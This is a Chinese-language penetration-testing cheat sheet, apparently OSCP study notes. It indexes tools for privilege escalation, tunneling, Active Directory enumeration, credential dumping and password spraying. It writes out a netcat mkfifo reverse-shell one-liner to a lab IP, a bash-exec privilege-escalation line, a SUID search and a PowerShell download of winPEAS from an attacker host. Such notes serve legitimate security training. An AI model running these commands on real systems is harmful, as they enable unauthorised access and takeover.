# 【總覽】Tools

### 常用網站

#### 提權

- - [g0tmi1k](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)(Linux 提權)
    - [gtgobins ](https://gtfobins.github.io/)(提權查詢)

```shell
echo 'exec "/bin/bash"' > app.rb
```

#### 編碼

- - [CyberChef](https://gchq.github.io/CyberChef/) (編碼)
    - [programiz](https://www.programiz.com/python-programming/online-compiler/#google_vignette) (pyhon onlin ide)re

#### 寫作

- - [markdowntohtml.com](https://markdowntohtml.com/) (markdown to html)

#### reverse shell

- - [Online - Reverse Shell Generator (revshells.com)](https://www.revshells.com/)

```shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.145.128 4444 >/tmp/f
```

### 連線

#### remote desk top

- - [xfreerdp](https://bookstack.treemanou.com/books/treemanoscp/page/romotexfreerdp-rdesktop/edit)

#### portforward

- - [socat](https://bookstack.treemanou.com/books/treemanoscp/page/port-forwardingsocat) (臨時)
    - [rinetd](https://bookstack.treemanou.com/books/treemanoscp/page/port-forwardingrinetd) (長期，多port設定)

##### 橫移

- - [PsExec](https://bookstack.treemanou.com/books/treemanoscp/page/powershellpsexec) (AD橫移)

##### Tunnel

- - [chisel](https://bookstack.treemanou.com/books/treemanoscp/page/tunnelingchisel) (Http Tunneling)
    - [dnscat2](https://bookstack.treemanou.com/books/treemanoscp/page/tunnelingdnscat2) (Dns Tunneling)

### 分享

#### smb

- - [wsgidav](https://bookstack.treemanou.com/books/treemanoscp/page/smbwsgidav)

#### apache

- - systemctl start apache2

#### python

- - python3 -m http.server 80

### 列舉

- [namp](https://bookstack.treemanou.com/books/treemanoscp/page/portscannmap) ( ip, port 掃描)
- [masscan](https://bookstack.treemanou.com/books/treemanoscp/page/masscan) (port 掃描)
- [rustscan](https://bookstack.treemanou.com/books/treemanoscp/page/portscanrustscan-diI) (port 掃描)
- pspy (linux process 監聽)[ https://github.com/DominicBreuker/pspy](https://github.com/DominicBreuker/pspy)
- [getcap](https://bookstack.treemanou.com/books/treemanoscp/page/shellgetcap) (uid 設置檔案)
- [mimikatz](https://bookstack.treemanou.com/books/treemanoscp/page/admimikatz) (AD 雜湊提取)
- [PowerView](https://bookstack.treemanou.com/books/treemanoscp/page/powershellpowerview) (AD 列舉)
- [Sharphound](https://bookstack.treemanou.com/books/treemanoscp/page/adsharphound) (AD 列舉) + [BloodHound](https://bookstack.treemanou.com/books/treemanoscp/page/adbooldhound) (圖形化分析)
- [linuxlinpeas](https://bookstack.treemanou.com/books/treemanoscp/page/linuxlinpeas) (AD 弱點掃描)
- [Seatbelt](https://bookstack.treemanou.com/books/treemanoscp/page/windowsseatbelt) (AD 弱點掃描)
- <span class="notion-enable-hover" data-token-index="0">[searchsploit](https://bookstack.treemanou.com/books/treemanoscp/page/exploitsearchsploit) (漏洞掃描)</span>

### 提權

- [gtgobins ](https://gtfobins.github.io/)(提權查詢)
- [linuxunix-privesc-check](https://bookstack.treemanou.com/books/treemanoscp/page/linuxunix-privesc-check) (linux提權掃瞄)  
    ##### Windows 權限(提權)
    
    
    - [SeManageVolumePrivilege](https://bookstack.treemanou.com/SeManageVolumePrivilege)

```shell
find / -perm -u=s -type f 2>/dev/null | grep -v 'snap'
```

### 字典

- [crunch](https://bookstack.treemanou.com/books/treemanoscp/page/crunch) (密碼字典生成)

### 密碼破解

- [Hydra](https://bookstack.treemanou.com/books/treemanoscp/page/sshhydra) (ssh 暴力破解)
- [hashcat](https://bookstack.treemanou.com/books/treemanoscp/page/hashcat) (hash 破解)
- [crackmapexec](https://bookstack.treemanou.com/books/treemanoscp/page/smbremote-cme-crackmapexec) (AD 密碼噴灑 (SMB) )
- [Spray-Passwords](https://bookstack.treemanou.com/books/treemanoscp/page/powershellspray-passwordsps1) (AD 密碼噴灑 )
- [kerbrute](https://bookstack.treemanou.com/books/treemanoscp/page/kerbrute) ( 密碼噴灑 (TGT) )

### 漏洞確認

#### AS-REP Roasting

- - - [GetNPUsers](https://bookstack.treemanou.com/books/treemanoscp/page/shellimpacketas-rep-roastinggetnpusers)
        - [Rubeus](https://bookstack.treemanou.com/books/treemanoscp/page/as-rep-roastingrubeus)

### Powershell

- iwr (檔案下載)  
    iwr -uri http://192.168.45.175/winPEASx64.exe -Outfile winPEAS.exe